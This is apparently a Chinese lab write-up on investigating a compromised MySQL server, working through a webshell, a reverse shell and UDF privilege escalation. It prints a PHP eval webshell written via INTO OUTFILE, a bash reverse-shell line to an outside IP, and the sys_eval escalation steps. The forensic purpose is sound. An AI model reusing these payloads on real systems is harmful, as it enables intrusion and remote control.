首页 > 数据库 >玄机第二章mysql应急响应

玄机第二章mysql应急响应

时间:2024-07-06 17:57:38浏览次数:23  
标签:shell xxx 提权 玄机 mysql udf 根目录 第二章

玄机第二章mysql应急响应

1.黑客第一次写入的shell flag{关键字符串}
2.黑客反弹shell的ip flag{ip}
3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
4.黑客获取的权限 flag{whoami后的值}

image.png

flag1:

数据库写shell在网站根目录比如into outfile

select '<? php @eval($_POST['cmd']);?>' into outfile '/var/www/html/shell.php';

在网站根目录下找shell

image.png

或者用命令

find / -name "*.php" |xargs grep "eval("

image.png

flag2:

反弹shell分析mysql日志看连接状态

cat error.log |grep connected

image.png

不过这并不是反弹shell继续往下看发现可疑脚本文件正在执行

image.png

追踪文件1.sh,发现反弹shell语句

bash -i >&/dev/tcp/192.168.100.13/777 0>&1

image.png

flag3:

提权文件说明hacker进行了mysql提权,mysql两大提权方式:udf提权和mof提权,而mof提权是win系统暂不考虑,所有推测该提权方式为udf提权

udf提权条件:mysql账户密码,可写权限

利用过程为:生成恶意库.so文件到mysql目录,创建udf函数,然后执行函数系统命令

而mysql存放函数库默认地址为 /usr/lib/mysql/plugin

所以我们查找提权文件 find /usr/lib/mysql/plugin -name "*.so"

如若该目录下没用,从根目录下查找 find / -name "*.so"

image.png

cd到该目录下 ls -al

可看到最新的.so文件很可疑

image.png

加密该路径md5加密,sha1加密–md5在线解密 (cmd5.com)

image.png

flag4:

hacker取得权限需要用其定义的函数去确认,我们需要登录到mysql中查询新函数

而hacker能使用udf提权代表其mysql账号密码已经泄露

我们通过还原攻击链得知其应该是在网站根目录进行信息收集出敏感信息(mysql凭证)

排查根目录文件 find /var/www/html -name "*.php" |xargs grep root

image.png

进入数据库查看新函数

select * from mysql.func;

image.png

执行该函数 select sys_eval(whoami);

image.png

标签:shell,xxx,提权,玄机,mysql,udf,根目录,第二章
From: https://blog.csdn.net/m0_64053653/article/details/140232876

相关文章

  • centos7.9 yum mysql8
    centos7.9mysql8安装CentOS7.9上安装MySQL8.0的步骤如下:下载MySQL官方的YumRepository:wgethttps://dev.mysql.com/get/mysql80-community-release-el7-3.noarch.rpm添加MySQLYumRepository到你的系统:sudorpm-Uvhmysql80-community-release-el7-3.noarch.rpm安......
  • MySQL锁
    MySQL锁1.前言锁是计算机在执行多线程或线程时用于并发访问同一共享资源时的同步机制,MySQL中的锁是在服务器层或者存储引擎层实现的,保证了数据访问的一致性与有效性MySQL锁可以按模式分类为:乐观锁与悲观锁。按粒度分可以分为全局锁、表级锁、页级锁、行级锁。按属性可以分为:共......
  • MySQL日志
    MySQL日志1.MySQL六种日志:重做日志(redolog)回滚日志(undolog)归档日志(binlog)错误日志(errorlog)慢查询日志(slowquerylog)一般查询日志(generallog)中继日志(relaylog)对MySQL来说,逻辑备份日志(binlog)、重做日志(redolog)、回滚日志(undolog)、锁技术+MVCC原子性:通过undolog......
  • centos7服务器yum安装MySQL数据库,以及报错的解决方案
    文章目录1、数据库能做什么?2、数据库由来3、数据库-系统结构4、版本二、部署1、官网地址3.点击[DOCUMENTATION](https://dev.mysql.com/doc/)4.mysql的yum仓库[UsingtheMySQLYumRepository](https://dev.mysql.com/doc/refman/8.4/en/linux-installation-yum-repo......
  • 零基础学习MySQL---表的相关操作
    顾得泉:个人主页个人专栏:《Linux操作系统》 《C++从入门到精通》  《LeedCode刷题》键盘敲烂,年薪百万!一、创建表1.语法CREATETABLEtable_name(field1datatype,field2datatype,field3datatype)characterset字符集collate校验规则engine存......
  • Java面试八股之MySQL存储引擎都有哪些
    MySQL存储引擎都有哪些MySQL提供了多种存储引擎,每种引擎都有其独特的特性和用途。以下是一些常用的MySQL存储引擎:InnoDB默认存储引擎(自MySQL5.5版本起)。支持事务(ACID属性)、行级锁定和外键约束。使用B+树作为索引结构。适合需要高并发的事务处理和高可靠性的场景。MyISA......
  • MySQL 命名使用规范
    在数据库设计和开发过程中,命名规范是确保数据库结构清晰、易于维护和扩展的关键因素之一。良好的命名规范可以提高代码的可读性、可维护性和团队协作效率。本文将详细介绍MySQL数据库的命名使用规范,包括数据库、表、列、索引、约束、存储过程、函数、视图和触发器等方面的命名......
  • Mysql 索引
     在MySQL中,索引是一种数据结构,它能够帮助快速查找和检索表中的记录,从而提高查询性能。索引在数据库中类似于书籍的目录,可以快速定位到所需的内容。下面是关于MySQL索引的详细介绍,包括其概念、类型、如何使用以及如何在建表时指定索引。什么是索引索引是存储在数据库中的一......
  • Mysql 8.4 安装(Centos7.9)
    前置准备root环境下执行#关闭selinuxvi/etc/selinux/config#SELINUX=enforcing=>SELINUX=disabled#开通防火墙3306/tcpfirewall-cmd--permanent--add-port=3306/tcp下载链接获取https://dev.mysql.com/downloads/file/?id=529414下载&安装下载mkdir-p......
  • mysql 模糊查询
     _表示单个字符SELECT*FROMemployeesWHEREfirst_nameLIKE"___e%";SELECT*FROMemployeesWHEREfirst_nameLIKE"____";查询以J开头,a结尾SELECT*FROMemployeesWHEREfirst_nameLIKE"J%";SELECT*FROMemployeesWHEREfirst_name......